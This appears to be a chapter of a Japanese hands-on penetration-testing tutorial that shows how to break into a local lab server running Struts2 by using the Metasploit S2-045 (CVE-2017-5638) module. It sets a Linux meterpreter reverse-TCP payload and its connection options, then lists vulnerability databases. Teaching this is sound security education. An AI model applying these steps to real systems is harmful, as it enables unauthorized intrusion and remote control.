07. 侵入 — Metasploit で攻撃する 💥¶
🔊 音声で聴く
偵察で「Struts2 だ」と分かった。次は Metasploit で、その脆弱性を突いて侵入します。
エクスプロイト と ペイロード¶
攻撃は、この2つで1組です。
flowchart LR
E["エクスプロイト<br>侵入口をこじ開ける手口"] --> P["ペイロード<br>侵入後に動かす中身"] --> R["侵入成功"]
style E fill:#2d333b,stroke:#f85149,stroke-width:2px,color:#e6edf3
style P fill:#2d333b,stroke:#bc8cff,stroke-width:2px,color:#e6edf3
style R fill:#2d333b,stroke:#3fb950,stroke-width:2px,color:#e6edf32つは決まり方が違います。ここが最初に混乱しやすいポイントです。
| 何で決まるか | 選択肢 | |
|---|---|---|
| エクスプロイト | 的の脆弱性で決まる | 基本、脆弱性1つに1つ(S2-045 ならこれ、と決まる) |
| ペイロード | 的のOSとやりたいことで決まる | 複数から自分で選ぶ(同じエクスプロイトでも中身を差し替えられる) |
- Linux の的に Windows 用ペイロードは刺さらない → OS に合わせる
- 高機能に操作したい →
meterpreter、軽く済ませたい → シェル、と目的で選ぶ - 使えるペイロード一覧は
show payloadsで見られる
💡
useした瞬間、相性の良いペイロードが自動で1つ入りますが、OS が合っていないことがある(Linux の的なのに Windows 用がデフォルト等)。show optionsで確認し、合わなければset payload linux/...で選び直します。S2-045:Struts2 の 2017 年の脆弱性(
CVE-2017-5638、CVSS 10.0)。HTTP のContent-Typeヘッダに攻撃コードを仕込むと、サーバー上で任意コマンドが実行できてしまう。
攻撃の流れ(7ステップ)¶
flowchart LR
S["search<br>武器を探す"] --> U["use<br>選ぶ"] --> SET["set<br>設定"] --> C["check<br>確認"] --> E["exploit<br>実行"]
style S fill:#2d333b,stroke:#3fb950,stroke-width:2px,color:#e6edf3
style U fill:#2d333b,stroke:#58a6ff,stroke-width:2px,color:#e6edf3
style SET fill:#2d333b,stroke:#58a6ff,stroke-width:2px,color:#e6edf3
style C fill:#2d333b,stroke:#d29922,stroke-width:2px,color:#e6edf3
style E fill:#2d333b,stroke:#f85149,stroke-width:2px,color:#e6edf3STEP 1:起動¶
しばらく待つとmsf6 > が出ます。
STEP 2:武器を探す(search)¶
Rank: excellent = 信頼度が高い(刺さりやすい)。
💡
searchは手元の在庫を文字列検索するだけ。search struts2なら関連全部、search reactのような広い語はノイズも混じります。検索語の粒度が大事。 その在庫のおおもとは公開の脆弱性DBです(下記)。
STEP 3:選ぶ(use)¶
プロンプトが変わります。use はセットするだけで、まだ攻撃はしません。
STEP 4:設定(set)¶
set payload linux/x64/meterpreter/reverse_tcp
set RHOSTS localhost
set RPORT 8088
set TARGETURI /showcase.action
set LHOST 127.0.0.1
set LPORT 4444
| 設定 | 意味 |
|---|---|
RHOSTS / RPORT |
的の場所(R = Remote = 相手) |
TARGETURI |
攻撃するパス |
LHOST / LPORT |
自分の戻り先(L = Local)。reverse shell がここに戻る |
⚠️ デフォルトのペイロードが
windows/...のことがあります。的が Linux ならlinux/...に変えること。 このLHOSTが、環境によっては「戻ってこない」原因になります → 付録D。
STEP 5:確認(show options)¶
RHOSTS / RPORT / TARGETURI / LHOST / payload が意図通りか確認。STEP 6:刺さるか確認(check)¶
ここで「推測」が「確証」に変わります。
STEP 7:実行(exploit)¶
meterpreter > に変われば侵入成功。次は 08. 侵入後 へ。
Exploit completed, but no session was created.と出たら、攻撃は届いたが reverse shell が戻らなかったサイン → 付録D. reverse shell が戻らない。
脆弱性を調べる定番サイト¶
Metasploit の search は手元の在庫を探すだけ。そのおおもとは、世界で公開されている脆弱性DBです。
偵察で「このソフトのこのバージョン」と分かったら、ここで既知の脆弱性を調べます。
| サイト | 何がわかるか |
|---|---|
| CVE(cve.org) | 脆弱性の正式な背番号(例: CVE-2017-5638) |
| NVD(nvd.nist.gov) | 深刻度スコア(CVSS) |
| Exploit-DB(exploit-db.com) | 実際の攻撃コード |
| Rapid7 DB(rapid7.com/db) | Metasploit モジュール対応 |
偵察: 「Struts2 2.3.30」と判明
↓ CVE/NVD で検索 → CVE-2017-5638(S2-045), CVSS 10.0
↓ Exploit-DB / Rapid7 で攻撃コード・モジュールを確認
↓ Metasploit: search s2-045 → use → ...
💡 この DB 照合が偵察と攻撃のつなぎ目です。ただし DB は古い・取り下げ済みのこともあるので、最後は
checkで裏を取ること。